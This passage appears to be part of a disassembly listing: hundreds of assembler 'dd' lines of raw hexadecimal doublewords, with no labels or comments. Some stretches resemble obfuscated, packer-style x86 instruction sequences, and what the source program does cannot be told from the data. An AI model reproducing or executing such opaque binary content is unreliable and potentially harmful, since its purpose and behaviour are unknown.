		dd 92851711h, 4056h, 872E3500h,	23D907C7h, 971C3642h, 2843BD11h
		dd 3CC246ADh, 0C03FB720h, 36418A30h, 988C991Ch,	5BDFDDD4h
		dd 3C099203h, 8E547876h, 1C359F54h, 4C762C50h, 481C359Fh
		dd 175348A6h, 9Fh, 0BEAD1578h, 9F700930h, 5B6EF9FDh, 0B2954B83h
		dd 0A6150364h, 0E37FF100h, 3F33A5F6h, 0D0C14FA2h, 60130113h
		dd 7D21D0C9h, 1125D67h,	0A9575913h, 62C72AB7h, 0CD661103h
		dd 67B426C8h, 8A34587Dh, 69EB0693h, 112517Bh, 53A34513h
		dd 0A43A45D9h, 1301121Eh, 725A941Ah, 2FC7D048h,	0D34A745Ah
		dd 4DA92BC6h, 9737EFBAh, 0D4D8C309h, 0C231B70Bh, 2EC5D24Eh
		dd 0E2E7CD3Eh, 0DCD2F8A6h, 20C61C2Ch, 9E7641D4h, 0A24A702Eh
		dd 983E1500h, 15928A34h, 82717F1Ah, 0DB23B4D0h,	0AE4C06Fh
		dd 2E1E0DEAh, 0F10BC39Bh, 366C6079h, 1C36418Ch,	0EA8E6688h
		dd 0A080EB4h, 0DE40A15h, 362A879Bh, 378747A9h, 90BEED5Fh
		dd 10ED094Bh, 28CBD448h, 48C9EA98h, 0DEC61717h,	9D03C9F9h
		dd 423AD53Eh, 0BB2438B2h, 95021EE2h, 6572EA5Eh,	472D9E8Eh
		dd 7E1FB8B4h, 0A83D36C8h, 43C52CB5h, 2A046ADh, 0E6A65EB8h
		dd 30C42AACh, 0BE35A2BEh, 12D4h, 958E3000h, 974DF100h
		dd 0E6A65E2Dh, 8D698729h, 47844FE6h, 0CF41B015h, 39AB4653h
		dd 0C537BA27h, 54C82BAEh, 0C335BCDDh, 50C42FAAh, 0C034BFD8h
		dd 4DBF32AFh, 5D2AC9D0h, 5E08950h, 4, 42Dh, 24048700h
		dd 2434895Ch, 81E18951h, 4C1h, 4E98100h, 87000000h, 895C240Ch
		dd 0E68243Ch, 89000066h, 5653240Ch, 0C547FB68h,	814E5E1Ch
		dd 0C66C16EEh, 95CE813Dh, 8113D754h, 0C395E8EEh, 5EF389D6h
		dd 815BDF89h, 4ECh, 24248900h, 4240483h, 8B85059h, 1000000h
		dd 0FE8956C8h, 585E3089h, 592434FFh, 4C481h, 3C8B0000h
		dd 0E1895124h, 4C181h, 0C1810000h, 4, 5C240C87h, 0F92F4FE9h
		dd 0E4345EFFh, 602ADE16h, 4EF2B823h, 0C503093Ch, 83C0E0FFh
		dd 0A3DA7971h, 0F97E338Ah, 0FFC4125h, 268B3928h, 718B2845h
		dd 72883EFEh, 0EA3B7F80h, 0BFB50EC1h, 4EB6EFDh,	7EB42C71h
		dd 540E9h, 0F5D28000h, 0A43D30A8h, 0F3EE81F7h, 993E36AAh
		dd 0F4E57C04h, 0EB9FECA7h, 0C2366772h, 0E96F2CA9h, 0AF316A77h
		dd 0D37526B3h, 0F2DFE5FBh, 0CADB12F9h, 0AE2B4709h, 4158D143h
		dd 0E1FC738Dh, 0ACC03815h, 0D04CC033h, 0D6FA8B99h, 0CF2134A8h
		dd 24BDB024h, 0FF568CDh, 0F4BD724Ah, 88F3FB14h,	337EF26Ch
		dd 4A05F2CEh, 48559B99h, 0CD019E90h, 3BD9E301h,	0DBCD1C36h
		dd 15975A47h, 7ADF3DBh,	31C363Ch, 0BC4419DDh, 4ABE35A2h
		dd 0B6FCA2D1h, 0B21C363Bh, 0BD2FC22Ch, 14BA39A0h, 363BE4CEh
		dd 40BEE01Ch, 0DD44AF28h, 0B3D19480h, 0E9877262h, 3529AFECh
		dd 10B745ACh, 151C363Ch, 123B1C08h, 55895000h, 67h, 77EB1536h
		dd 0F105876Ah, 6A06E37Fh, 0BE02866Dh, 0B83FC8ECh, 24CF2182h
		dd 35E53094h, 3D91351Ch, 35E51DA7h, 0BEDB551Ch,	8D13B133h
		dd 2F281C69h, 895055DEh, 189h, 2A474A00h, 0CA5F1FAFh, 62672151h
		dd 43B53CB8h, 9A40B32Eh, 116B2E2h, 0EB8079EFh, 7AF400EEh
		dd 97FEF5E2h, 0B6AB5E46h, 72EE722Bh, 47933865h,	38A5BB2Eh
		dd 54C93BB6h, 8E36A64Dh, 0DE4F56Ch, 2E166B8Bh, 0C6D7C25Bh
		dd 29CFA0E0h, 44A7D31Eh, 0B5223EB0h, 5855CA3Eh,	9719D8C1h
		dd 8B197559h, 1C35DA41h, 2E0FB335h, 5ED95DB4h, 5637B63Eh
		dd 0B9E4E5CFh, 0CE895083h, 0B9h, 0AB2E47FDh, 418A248h
		dd 0C72AB7ABh, 0D14BAB45h, 376D215Eh, 1C36418Dh, 377D6789h
		dd 331C3641h, 338B43ADh, 0DB734520h, 7F586828h,	574DDE03h
		dd 31A32ACAh, 0DC50A33Eh, 0CECB6445h, 72E3D120h, 0B726E782h
		dd 0B6233ACDh, 0DFFA73E5h, 0D54C6E14h, 0B9263AC4h, 0CC3EB63Ah
		dd 0A63B1554h, 0FE8C995Eh, 948F01F0h
		dd 6E801911h, 841D1183h, 260E7F6Dh, 4C804E43h, 362A2C96h
		dd 7886281Ch, 0A6FBFBE4h, 16809DBEh, 0B20A8950h, 20EC1AA5h
		dd 0BA6195EEh, 4Fh, 0AB2E4719h,	318A248h, 1DD95B96h, 0B0EE8DA3h
		dd 1C36420Ah, 0DB16D8FEh, 39CCB845h, 0EB15B920h, 0B98E6673h
		dd 0AF2A471Ah, 4211B444h, 2C431C36h, 55CE42B1h,	0D94CB140h
		dd 32C310EBh, 0E07B8542h, 7A7AFEF5h, 4FF97BD2h,	1EC89h
		dd 479B0000h, 0D246AD28h, 3B811F5Eh, 2F1C3641h,	0BCAC47A9h
		dd 9D92654Fh, 3C32CC00h, 24D0549Fh, 752D7847h, 639C4B59h
		dd 3E601503h, 25BB0FB3h, 13011B9Fh, 0B43F5AD7h,	0E80C9230h
		dd 73EDFA76h, 0E7098B66h, 0B12E42B6h, 1C0AB242h, 91A1301h
		dd 0E3FC701Bh, 71EA14BAh, 18DBFC74h, 209A5A94h,	0EC60930Ch
		dd 0D9FC7770h, 7458961Ah, 10F9B50Ch, 0C135E8C8h, 9381D242h
		dd 326B74E8h, 85B04D80h, 11F1A92h, 2E790000h, 0D50BC39Bh
		dd 15035F4Eh, 5BCD24CAh, 3FC1DAC7h, 0C93BB623h,	13BC1E55h
		dd 0FF0C7AEFh, 419202F1h, 2BB4A853h, 9C0519A3h,	0F3CB8358h
		dd 47309DE5h, 0A040B489h, 92850F6Dh, 726F03FDh,	52F9FD7Fh
		dd 36h,	0D7872E81h, 36BA395Ch, 14CE14B8h, 901C3642h, 6F55E30Eh
		dd 861C3641h, 2A9B59Fh,	9E548A42h, 1A1C3641h, 4E943894h
		dd 1C364164h, 0E1B63E60h, 0A4A9h, 9B2EEA00h, 72D50BC3h
		dd 66150369h, 0C10DB140h, 1169923h, 4950C913h, 0F81757Bh
		dd 63158613h, 0FAD2CFh,	0EEEB846Dh, 876F8103h, 17277808h
		dd 12091301h, 65F86C87h, 92C5757Ch, 56ECE5FEh, 0AA9A0B79h
		dd 4F00DCFh, 6F558B3Fh,	691300FAh, 0A5357D0Ah, 0FEA022C3h
		dd 0DB9798C2h, 7C78881Bh, 0EC816E02h, 856B6E05h, 9704EA6Eh
		dd 0A925FDC8h, 0D4C667FBh, 81990F0Bh, 9957D918h, 4D4AE65Ah
		dd 0F1E47F81h, 3D8E7E05h, 70388B57h, 9014DFF8h,	20306E5Eh
		dd 0D4150105h, 10CEFAD2h, 1300FAAAh, 1FFCF89Eh,	2BB9152Ch
		dd 1C3641A1h, 50E31395h, 8D418D45h, 0C3499435h,	0B6AD4344h
		dd 9B29CD23h, 1509F1C7h, 56CA29AFh, 13A38FDAh, 0D7AA78EAh
		dd 0F9C903C9h, 0FFF1F712h, 3834ACF1h, 41C4549Fh, 0F36281C2h
		dd 1D8F627Fh, 0C65E9504h, 5FAC4F35h, 513116FEh,	32985639h
		dd 2BB6AB14h, 4AAA44C8h, 5A435CD0h, 0E60D8AA6h,	16DDFA72h
		dd 0E1108DA2h, 0CE7F26Fh, 0D81B8498h, 7E66B754h, 0A89C097Bh
		dd 435841DDh, 0B938A1BDh, 3D1h,	844F0200h, 41B01547h, 0AB4653CFh
		dd 37BA2739h, 0C82BAEC5h, 35BCDD54h, 0C42FAAC3h, 34BFD850h
		dd 0BF32AFC0h, 2AC9D04Dh, 4EC835Dh, 89243C89h, 4C781E7h
		dd 83000000h, 3C8704EFh, 89575C24h, 4C781E7h, 81000000h
		dd 4EFh, 243C8700h, 240C895Ch, 81E78957h, 4C7h,	4EF8100h
		dd 87000000h, 895C243Ch, 0B850243Ch, 629D1403h,	9F3BC468h
		dd 0C10159A6h, 6EB36858h, 24890000h, 24048124h,	4, 4EC815Fh
		dd 89000000h, 478F240Ch, 2434FF08h, 4C4835Fh, 56240C8Bh
		dd 0C681E689h, 4, 4C681h, 34870000h, 0D5E95C24h, 63FFF929h
		dd 0DDB4EC57h, 5473B843h, 0C503093Ch, 1096E0FFh, 4E751864h
		dd 2D5555C4h, 9E865E50h, 52590B8Fh, 26825C7Bh, 0B0CF209Eh
		dd 0A2E41770h, 8D8D358Dh, 93C55FFh, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 2AC35242h, 298D89B7h, 0F093516h
		dd 684h, 1DB58B00h, 0C709351Ch,	35287D85h, 5AF809h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 1A5A3D13h, 8BF15A1Ah, 35230D85h, 5585C709h, 93522h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 0BDF4C352h, 1D41BD01h,	0B5FF0935h
		dd 9351239h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 17h,	0FBC35646h, 81C05DA2h, 1B2E7FCBh, 595FF12h, 8009350Dh
		dd 6AA6CEh, 82995FFh, 0C08B0935h, 95359EBh, 1A097F96h
		dd 0D7772937h, 1EAFD77Eh, 0C58C8394h, 3B3C6822h, 9825F889h
		dd 7BCC00EAh, 0F9BCAD81h, 3A336AEh, 1E9B985Ch, 261303A8h
		dd 5F5DDB85h, 413953C5h, 54C4165Ah, 8CC5F8Eh, 0ADBF2B93h
		dd 36CAEA5Ah, 3F91B27h,	0E96AE032h, 0C25D8436h,	1BC03512h
		dd 0EBE672F0h, 10A4C904h, 559E91Ah, 7DDF0000h, 0A0BD4358h
		dd 839C6439h, 5BD38516h, 829B5D3Eh, 0FC8D8617h,	1982170Eh
		dd 0D4C9CC67h, 1885120Ch, 0CAD3CC60h, 0D2F8A6E6h, 0C612F9EBh
		dd 2B47B615h, 58D143AEh, 88A45C41h, 0C68D6BE1h,	0E70913A0h
		dd 1B84980Ch, 0D0C964D8h, 7B69BC21h, 9A039C90h,	0C885CCB4h
		dd 817065FEh, 580EC3FFh, 0E40F8AA3h, 0F4668E60h, 86405D7Ah
		dd 0C3FE9836h, 0E5112390h, 9E8F56Bh, 0FAF99C97h, 0AEAB990Ah
		dd 0F5DD94CEh, 11935E7Bh, 0DB8D62B1h, 128FA11Bh, 3E5BD789h
		dd 0ECA225B3h, 5ED21C35h, 203EB241h, 0BC32AFC3h, 674DD035h
		dd 0D6BE4F84h, 504E98F5h, 0E8F6D289h, 1C35F8E2h, 7524D0D6h
		dd 81h,	26B3AF51h, 2B472FCEh, 0D1789E80h, 3EB58D5Ah, 90D599FEh
		dd 923AB43Ah, 7FC7442Ah, 569E1A3Dh, 498549D7h, 7B8A1C35h
		dd 0F17DD089h, 1EA8950h, 0A9000000h, 0A12BB915h, 9F1C3641h
		dd 3641BB01h, 9B29AF1Ch, 0F26FE115h, 54660CE7h,	0C537BFD8h
		dd 0EBD10FA8h, 0DF1C3641h, 48BC37B9h, 0B82CC7D0h, 43B53CA5h
		dd 0DA3FB22Fh, 2DDE998Bh, 0CBFFC4B0h, 3641AF15h, 0F105AB1Ch
		dd 0A6F7E27Fh, 0FCA13E32h, 0AB2E4757h, 1B869923h, 4DE054DBh
		dd 872F9D54h, 41179D43h, 8D131C36h, 5D281C69h, 10C8D5C4h
		dd 7943611Ch, 6D1C3641h, 4EFE1B3Dh, 8D63B9D6h, 31C9063h
		dd 70E95B96h, 0F6FDE479h, 0D1757C72h, 3598A913h, 5FB9D1Ch
		dd 0F6E37E6Bh, 1A8BF9F8h, 8C424F2Ah, 14E0FD72h,	9CF0D5BFh
		dd 3598BC06h, 8A36B81Ch, 6FEB1898h, 9030C468h, 89507B4Dh
		dd 8A3Ah, 0AA389400h, 1C35D020h, 0BB629214h, 0A12BB915h
		dd 951C3641h, 4209B3F1h, 0DBFD1C36h, 0F66FE115h, 839C10E3h
		dd 0F469DB16h, 9B9206EDh, 914FF3FEh, 1C36412Bh,	0C263791Fh
		dd 0A7F617D2h, 82698BDh, 0A1B6688Bh, 60C8F827h,	0D14BAB45h
		dd 0A45C4158h, 73E50C8Dh, 3213DEFBh, 0D508C1B3h, 0B28950FCh
		dd 45h,	0AB2E47E1h, 3D5AD448h, 17FD1EB6h, 0F4AACD64h, 1C3641CEh
		dd 2CA24CAh, 777A67F8h,	822C01F5h, 0FAF9E678h, 15DF7E76h
		dd 8A6974EBh, 0E17CEE06h, 646BF9F8h, 691C3641h,	5EAFA89Ch
		dd 9894FF9h, 1,	0AD2847CAh, 415ED246h, 6351C2B2h, 0B21A8798h
		dd 0F720CCCAh, 92621AE9h, 999F2AB5h, 53E324BCh,	0AE1ED0EBh
		dd 4F48E0DAh, 0EBCE19A7h, 2CB21502h, 0CB6ECA0h,	81300E4h
		dd 1D8F0EE6h, 7D039801h, 6BF9F8E1h, 1300E363h, 0F6FD9897h
		dd 62FFEC82h, 0F6F87C77h, 0AC9865FBh, 219B13C9h, 0DC60930Eh
		dd 2ED9CB18h, 80F8A532h, 5A00F3ECh, 22D1CE60h, 48E4569Eh
		dd 23F7F4Fh, 16A92929h,	757B1816h, 9814B59h, 73751301h
		dd 3F8CFC83h, 0D14E7055h, 4BAB2DC4h, 0C4165DD1h, 0C26E1748h
		dd 9E8815DBh, 0A60EB4EAh, 0E40A1300h, 961D7010h, 2B4A9285h
		dd 84000001h, 0B1309A48h, 82241300h, 0FFF7E07Ch, 0C39B2E60h
		dd 5F4ED50Bh, 24CA1503h, 999729CDh, 0EA86F8FCh,	3428B0EDh
		dd 58D448ABh, 2B40B43Fh
		dd 5AD143AEh, 2FAAC13Fh, 0C0D950C4h, 88D5AF31h,	0BA2BD99Ch
		dd 0B6233FCAh, 0E8BA416h, 0EC2111E6h, 7B928516h, 31h, 0C7872E4Ch
		dd 4223D907h, 11971C36h, 416852E2h, 0AA771C36h,	2FFFB6BAh
		dd 41EB019Fh, 0C5091C36h, 3641951Fh, 0E70F911Ch, 0FCE6B739h
		dd 0A6h, 0C39B2E4Dh, 5F7AF10Bh,	8AADF397h, 7E150369h, 0D64A7458h
		dd 4EA62AC9h, 9E912BCFh, 7465FD03h, 85120E80h, 0D3CC6018h
		dd 302DCFFBh, 16913BA9h, 63851301h, 54660C93h, 0D210BCDDh
		dd 130116E8h, 0A43ABADCh, 130116F3h, 6D180C19h,	14B3E8F1h
		dd 5A47D981h, 55AA3894h, 5F0BD4E8h, 2A46BA39h, 5DD246ADh
		dd 233FB140h, 47B93BB6h, 0D646AD28h, 0A6DC9F85h, 5643DCDEh
		dd 0AA37299Bh, 0CB2BC547h, 5C98E76h, 2CC4D5DFh,	27CFD11Ch
		dd 712F099Ch, 1C2CC44Bh, 2CB5A93Fh, 43AD43C5h, 96A4558Bh
		dd 8E101500h, 9B2E1E0Dh, 24D50BC3h, 90150A14h, 0FD71E30Eh
		dd 5F98E8E4h, 0A9C0BE49h, 7800DD19h, 87120BE4h,	81FA8A69h
		dd 0C405DE10h, 94887361h, 52CE920Bh, 1A879923h,	258F55D7h
		dd 210225EFh, 0E82717Fh, 0B34D8116h, 4BD222BFh,	3F04F05Dh
		dd 0BF37A2BDh, 0D3C8D14Dh, 6988110Dh, 381h, 844FD200h
		dd 41B01547h, 0AB4653CFh, 37BA2739h, 0C82BAEC5h, 35BCDD54h
		dd 0C42FAAC3h, 34BFD850h, 0BF32AFC0h, 2AC9D04Dh, 0E289525Dh
		dd 4C281h, 0EA810000h, 4, 5C241487h, 68241C89h,	4308h
		dd 51241C89h, 0C181E189h, 4, 8704E983h,	895C240Ch, 68552434h
		dd 56AC0B83h, 0C581455Dh, 19660ED7h, 4F23BE56h,	0F5096281h
		dd 13ED815Eh, 89695709h, 8B545DEBh, 0C4812434h,	4, 242C8153h
		dd 3A341D5Fh, 8108468Fh, 1D5F0846h, 348B3A34h, 0E1895124h
		dd 4C181h, 0C1830000h, 240C8704h, 2434FF5Ch, 4C4815Bh
		dd 0E9000000h, 0FFF92324h, 0BCE2070h, 0F1F7CC3Ch, 0BC60FDE4h
		dd 0B8A888A2h, 93C5B23h, 0E0FFC503h, 7B3C12DCh,	682283CEh
		dd 8D5EC0Fh, 7B410C0Ah,	558EE4F3h, 66F6C4F6h, 4DB54F14h
		dd 8ADDC29h, 506D2C6h, 510006CDh, 24A347C7h, 75ED94BAh
		dd 400D6047h, 566C0DA3h, 47032062h, 57DF928Dh, 402AD212h
		dd 687CE9C6h, 0CACEB20h, 1142DD44h, 181B04EBh, 3DE97BE2h
		dd 22000005h, 560A9330h, 1BDDBEDBh, 7C049904h, 36AAF3E4h
		dd 3A019A3Fh, 4950C941h, 2978C54h, 4C49E799h, 0C95894Fh
		dd 0AFF5998Fh, 12F9E605h, 47EFD401h, 0D143AE2Bh, 0A45C4158h
		dd 70E40F88h, 6A10E3FCh, 37BFD850h, 0C231A8C5h,	3D1A0A5Bh
		dd 41695391h, 39671C36h, 1C364193h, 3D636187h, 0AE2B47B9h
		dd 15829C1Eh, 0BD9A5ADEh, 14B8253Bh, 876A77EAh,	641CF105h
		dd 0CD01CDCAh, 3641AD17h, 0EF07A91Ch, 7267FC70h, 5044917Fh
		dd 8D0E8BA5h, 0A74A57CBh, 3641B619h, 7A6ABB1Ch,	4FFA2C61h
		dd 583B89h, 478C0000h, 36A3BE2Bh, 23AB39B8h, 2C1C3641h
		dd 9BF2EBD9h, 0CC894FF9h, 6, 6B6C04F6h,	2A47E48Bh, 356B1FAFh
		dd 1C36418Fh, 1291658Bh, 3882206Ch, 2C1C3641h, 5DD04AAAh
		dd 34BADF54h, 0C6D34BBDh, 6D57C62Bh, 811A879Ah,	257663FFh
		dd 80B34181h, 0D85A7FFEh, 2E47751Ch, 0D0CDA7Dh,	806EA709h
		dd 0E301CD71h, 1C3549D9h, 0B12BCBCDh, 5ECE25BCh, 0FD7407EDh
		dd 2539BFDCh, 0ACC335BCh, 86DFC231h, 0F7A0BD9Eh, 7CE78950h
		dd 0A8000000h, 6772EB15h, 95041D8Fh, 6875EA5Eh,	507A2864h
		dd 801C3641h, 0C8CEF4EDh, 0DD40A52Ch, 6C6D04F7h, 29B0A92Fh
		dd 11BBE9A5h, 51C3642h,	0E68C13E3h, 0FDA69C96h,	114A7663h
		dd 0E4569E6Eh, 0C5A84B4Ch, 20B9B909h, 50AFDBE8h, 64654FA4h
		dd 8950B239h, 7E4Eh, 2E477D00h,	0B937A2BBh, 3BA8C63Ah
		dd 94598720h, 0CE2A55A4h, 0CCF6AC20h, 0C81C35DCh, 9329C826h
		dd 7EF78272h, 1591425Bh, 8D6974EBh, 9E931E13h, 41F9C3E1h
		dd 0EBED1C36h, 846AEE05h, 41D8DF6Dh, 10081C36h,	41753F65h
		dd 6F711C36h, 66FE7281h, 0FDF4ED81h, 8E7E757Bh,	2C72573Dh
		dd 1C364186h, 41925C82h, 0CF19255Dh, 0E211869Eh, 9509625Eh
		dd 23115E96h, 5086E32Ah, 18489h, 47430000h, 0D246AD28h
		dd 0C2B2415Eh, 54666351h, 0C739BDDAh, 0B6702DA8h, 90076906h
		dd 0FBFBB282h, 49855D68h, 0D6E57B85h, 355102C8h, 0FEF0F61Ch
		dd 727D68F6h, 5D831502h, 0E49CF096h, 0FEBE1B77h, 43895B8Eh
		dd 371300FEh, 3D871DB1h, 391300FEh, 51CD3FB7h, 918D5348h
		dd 735BE908h, 831300FEh, 0ABC7B2A2h, 1C9E2Eh, 0FE852F75h
		dd 5F811300h, 0D0886591h, 3F8B435Ch, 0FE1BA1h, 0A75D0D13h
		dd 902623ACh, 0C948AC32h, 33BEDB57h, 996C58C5h,	0EB01C85h
		dd 0EE728116h, 59FAC0DEh, 0E8EE1300h, 527B2F0Ch, 189285E2h
		dd 65842E74h, 5E801300h, 14FEF96h, 2EA00000h, 0D50BC39Bh
		dd 15035F4Eh, 29CD24CAh, 0DCFD259h, 46B8F83Fh, 0C246AD2Ah
		dd 3BA4B832h, 15829E62h, 0E9F66ADEh, 5B499A0Ah,	99D83E7Eh
		dd 0E1A76013h, 1A879B15h, 8C1508B2h, 6E9F9368h,	0F9928530h
		dd 6Eh,	0A7AD15DAh, 0D15CE29Eh,	0FA631C5h, 833B8F3Fh, 0D50B86B4h
		dd 1C35E8EFh, 86FDC5EBh, 59E70F92h, 1C3630A3h, 0D2629117h
		dd 1C3630E8h, 0B4A90618h, 0AC42C62Dh, 435ED345h, 0E8DC49B0h
		dd 4133D20Dh, 0C393C84h, 1132B66Ch, 1C16C3Ch, 0C72FA0AEh
		dd 19B5753Ch, 3613718Bh, 202F8F1Ch, 0F9486BF7h,	21974DA9h
		dd 425B950Ch, 9C48h, 0EB158900h, 85996772h, 0A353D51Ch
		dd 41DD8510h, 0A8369658h, 150368A5h, 0BA5BDDA5h, 3057C78Eh
		dd 0B24156CEh, 9618C62Eh, 3E75E95Bh, 0D6D85591h, 0AA2F4746h
		dd 6FF1AA44h, 7D0BE6F3h, 13013A0Ch, 46312300h, 414A7F2Ah
		dd 651DF8A1h, 0A21C128Bh, 63E50C89h, 0DDB50093h, 1A01B3F1h
		dd 0FDFF0BD5h, 0C67C7861h, 552DD120h, 4B3B21DCh, 0B22CC899h
		dd 0E2D221BEh, 0D4DF8371h, 322ED0FCh, 0E4AEB977h, 21CF3456h
		dd 2A64ED2h, 42CEDCh, 0B896EA15h, 93B0E36Fh, 0E8DEBF31h
		dd 0B83C59D6h, 0C39B2E19h, 1DE7D50Bh, 0CDD3150Ah, 7461FF01h
		dd 74FBFB7Dh, 5B736C00h, 0E54B712Fh, 993F12F9h,	64F8805Dh
		dd 0E70A978Bh, 17829B65h, 188A1AD9h, 1865ABDFh,	0A5696D04h
		dd 82EF19A0h, 1D13856Ch, 4ADB7180h, 0EF6E9F5Ah,	0E1FE7205h
		dd 0AF2844BCh, 1D58D044h, 54123D87h, 39B739A0h,	6B59CABAh
		dd 8A138CA0h, 851B5AD6h, 0A054123Fh, 0B83BB53Bh, 3CEh
		dd 844FFF00h, 41B01547h, 0AB4653CFh, 37BA2739h,	0C82BAEC5h
		dd 35BCDD54h, 0C42FAAC3h, 34BFD850h, 0BF32AFC0h, 2AC9D04Dh
		dd 5954515Dh, 4C181h, 0E9830000h, 240C8704h, 81E685Ch
		dd 3C890000h, 4F5F6824h, 14890000h, 0C4BD5524h,	0BF5B8D28h
		dd 52B174E1h, 2C8BEF31h, 4C48324h, 8904EC83h, 4812424h
		dd 424h, 81575A00h, 62E2434h, 428F0EE8h, 8BB5308h, 1000000h
		dd 2E3381D3h, 5B0EE806h, 5124148Bh, 0C181E189h,	4, 4C181h
		dd 0C870000h, 3C8B5C24h, 0E3895324h, 4C381h, 0C3810000h
		dd 4, 5C241C87h, 0F91D83E9h, 5360BAFFh,	8C95032Ah, 6EF63DD7h
		dd 3C3CDB9Eh, 3C60C7B8h, 0FFC50309h, 0D80978E0h, 3E69C82Fh
		dd 0E08991Eh, 6221454Fh, 7413FB58h, 1C642E54h, 14F2F136h
		dd 8591FD3Dh, 0D0BBAB18h, 28DD8754h, 0B6FD9377h, 0B90A1825h
		dd 3267E649h, 0A72594Ah
		dd 0B786224Fh, 236B3449h, 947D284Dh, 7EC6773Dh,	89320C03h
		dd 9632EF31h, 74B41236h, 0EB4F6073h, 6F227B0Ch,	9DFF3575h
		dd 0DA07BF2Ch, 6761773Ch, 0B7231D73h, 0F39AEA39h, 6464D323h
		dd 0BD77A55Bh, 57BBB37Ch, 4304EB66h, 0E967AC37h, 54Ah
		dd 0D9C2E755h, 0E8F0A27h, 0D3C8D54Ah, 1784150Dh, 0CCD1C861h
		dd 59D0BACFh, 8EA55B40h, 50CE920Bh, 8AA65A43h, 0F498900Dh
		dd 0F9E104AEh, 0F0D30012h, 43AE2B47h, 0D889DF9Fh, 1ADDC9E4h
		dd 0D0C960DAh, 801915CBh, 5463FF71h, 3590248Eh,	707E201Ch
		dd 45A4245Ch, 0C8633BD3h, 0C101A52Ch, 0B1AE4741h, 774BCD24h
		dd 0EEB49575h, 1C3548C4h, 24D01EC0h, 0C72AB7AAh, 1912AC62h
		dd 0F003948Ch, 1D72826Ch, 0AF284437h, 0E7F46AEEh, 0AF2C42B6h
		dd 41C9E44h, 18DC6093h,	0E9088DA6h, 9DBAAAFBh, 4909B3F1h
		dd 25391C35h, 14E006BCh, 8617849Ah, 92071EA0h, 0A719DD5Fh
		dd 92071E8Bh, 6574ED5Fh, 0AE40A8Eh, 0B72038C2h,	8D30C03Fh
		dd 941C3548h, 93BA9381h, 0D48950F2h, 83h, 0AE2B47B3h, 4211B543h
		dd 7161C36h, 0FA113C1Dh, 156894Fh, 35000000h, 44AF2A47h
		dd 93165DD0h, 0FA8EC683h, 781ED51Bh, 1739E848h,	1FC55C62h
		dd 1C35CF95h, 0E1E10F91h, 0D6814F2Eh, 3DAF4748h, 0D83DB425h
		dd 0EBA9F85h, 2B9E24BAh, 149A1C36h, 362BE4CEh, 36BEE01Ch
		dd 6B30A9C4h, 0DDF4FBC3h, 813EF82Fh, 1F5E07Fh, 0BEE4938Fh
		dd 1C35DDF4h, 0CC00EEF0h, 4FA23F32h, 0B349789Fh, 6E806F03h
		dd 4702B186h, 5B23AB2Eh, 0BCD42191h, 15531B08h,	1EC500C0h
		dd 0ED5FDE16h, 33994770h, 271C3641h, 0F4E17F81h, 7E757BFDh
		dd 24D7BD0Eh, 8E346A0Dh, 8A1C3641h, 17DAFF74h, 8955B95h
		dd 30C3DC50h, 0BB36A3BCh, 29C8D149h, 0D61DB8B7h, 0EC8F75E6h
		dd 795242A3h, 89500024h, 0C263h, 2E472400h, 396723ABh
		dd 1C364193h, 0C62DA8C3h, 965E8042h, 0F8AA517h,	7078FFBFh
		dd 0F004B1B3h, 363308B2h, 14DAFC1Ch, 0A9FC61E0h, 4059D0BBh
		dd 0B94D348Ch, 0D1FA5C88h, 99904825h, 5DF4CC00h, 5407B851h
		dd 7FF17084h, 0F920C4E7h, 0AA543157h, 47C928B5h, 0BA8319A9h
		dd 0B1B528DEh, 54D1B43Fh, 0AA366760h, 0AA548950h, 4BCD24B1h
		dd 0DB1BBEB5h, 6F2Ch, 0CF645600h, 9A3F34CAh, 8221D557h
		dd 0A12BB915h, 951C3641h, 0F069E313h, 47DBE5E9h, 0A1139A5Ah
		dd 0EBA128Fh, 3641EAD0h, 10BAE81Ch, 41C3642h, 36BEE0E2h
		dd 100421B7h, 1CDCC65h,	0D9E301CDh, 0CD1C3641h,	41B319CBh
		dd 1A71C36h, 473318F5h,	0B444AF2Ah, 1C364211h, 0C4DAAE18h
		dd 1C3641FEh, 0B300F4FAh, 0F9C508C1h, 1A2894Fh,	0F1000000h
		dd 46AD2847h, 0DC515ED2h, 44AA2EC5h, 664EBFADh,	4D772D61h
		dd 491C3641h, 41555F85h, 4F511C36h, 44DB55A1h, 10A34459h
		dd 0F66A9438h, 43610DE9h, 15036394h, 36864668h,	8200B3D9h
		dd 941BDB6Bh, 0A930C20h, 36BDDA56h, 0C91EA6h, 0E7CD2E13h
		dd 1E7F1814h, 1AD9C65Ah, 0E60D8AA6h, 4C3F2576h,	0F4D6C7D0h
		dd 92857199h, 138CEh, 9B2EFD00h, 0B1405DD3h, 1168932Fh
		dd 86702DABh, 251C6468h, 6C568CE2h, 681C3554h, 69BD7A46h
		dd 0A836E212h, 15027481h, 0F2E77F81h, 0A74A4C02h, 0FBA03935h
		dd 1F0E985h, 0EB06938Fh, 5124107Dh, 0EFD7C4DDh,	0AC4851CDh
		dd 85F0C904h, 639E92h, 2EED0000h, 0C307C787h, 3AB92039h
		dd 3AB03EB6h, 0AE1C3642h, 0BAE8A428h, 1C364210h, 5F7CF204h
		dd 4EDE6591h, 1C364164h, 0DD14859Ch, 7EAF76Bh, 1DD8CC19h
		dd 7CF20CC2h, 0E410945Fh, 0F2B9A58Fh, 0EE049A32h, 141C3641h
		dd 0FB7673EAh, 5F9113DEh, 2EE41094h, 8EF7F3A8h,	53000000h
		dd 0BB0B886Bh, 39BDAC54h, 0C39B2E9Ah, 6972D50Bh, 40661503h
		dd 0B6233FB1h, 0E2FF73E5h, 0EC4292EAh, 0AE4550CFh, 6106962Ah
		dd 5CEC7383h, 1300512Bh, 0A55044E1h, 0AB0EE89h,	3A130051h
		dd 0E40AB825h, 239D910Ah, 17829D08h, 5E9658DCh,	0C408C0D3h
		dd 0D4327F1Eh, 5B73750Bh, 2DBB0623h, 0DC18489Fh, 524FE355h
		dd 0F64F427Ah, 0DE3C81A2h, 3CA99716h, 1711A448h, 2CEE4389h
		dd 0F91351Ch, 7EAF2DC8h, 804CA244h, 0C04362h, 6637B915h
		dd 0C39B2EC5h, 23DAD50Bh, 983E150Ah, 4E4BE759h,	0A978B4Dh
		dd 0B09559E7h, 0AEC56969h, 39B7223Bh, 0E4CE14BAh, 0E0B48A10h
